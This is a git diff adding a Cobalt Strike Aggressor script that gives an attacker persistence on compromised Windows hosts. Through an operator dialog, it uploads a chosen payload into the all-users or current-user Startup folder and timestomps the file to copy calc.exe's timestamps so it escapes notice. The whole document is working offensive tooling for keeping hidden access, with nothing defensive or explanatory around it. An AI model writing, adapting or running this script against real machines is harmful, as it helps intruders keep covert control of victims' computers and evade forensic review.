diff --git a/Persistence/StartUpFolderPersist.cna b/Persistence/StartUpFolderPersist.cna new file mode 100644 index 0000000..d0dca6b --- /dev/null +++ b/Persistence/StartUpFolderPersist.cna @@ -0,0 +1,26 @@ +#StartUpFolder Persistence +#Author: @r3dQu1nn +#Quick and easy persistence via a StartUpFolder +#Windows will have different StartUp locations dependent upon the version of the OS + +sub persistThroughStartUpFolder { + $bid = $1; + $dialog = dialog("Start Up Folder Persistence", %(startup => "Startup Directory Folder..", payload => "Select Payload.."), lambda({ + if ("$3['startup']" ismatch 'Startup Directory Folder..' || "$3['payload']" ismatch 'Select Payload..') { + berror($bid, "\c4Please enter a valid Startup Directory Folder, and select a Payload."); + break; + } + else { + bshell($bid, 'cd "'.$3['startup'].'"'); + bupload($bid, $3['payload']); + btimestomp($bid, "$3['payload']", "c:\\windows\\system32\\calc.exe"); + } + })); + dialog_description($dialog, "Start Up Folder Persistence - Generates a Startup Folder Entry and places a payload inside that folder. **Windows NT 6.0-10.0/All Users Location - %SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup | Windows NT 6.0-10.0/Current User Location %SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"); + + drow_text($dialog, "startup", "StartUp Directory Folder Location:"); + drow_file($dialog, "payload", "Select Payload:"); + + dbutton_action($dialog, "Create"); + dialog_show($dialog); +} \ No newline at end of file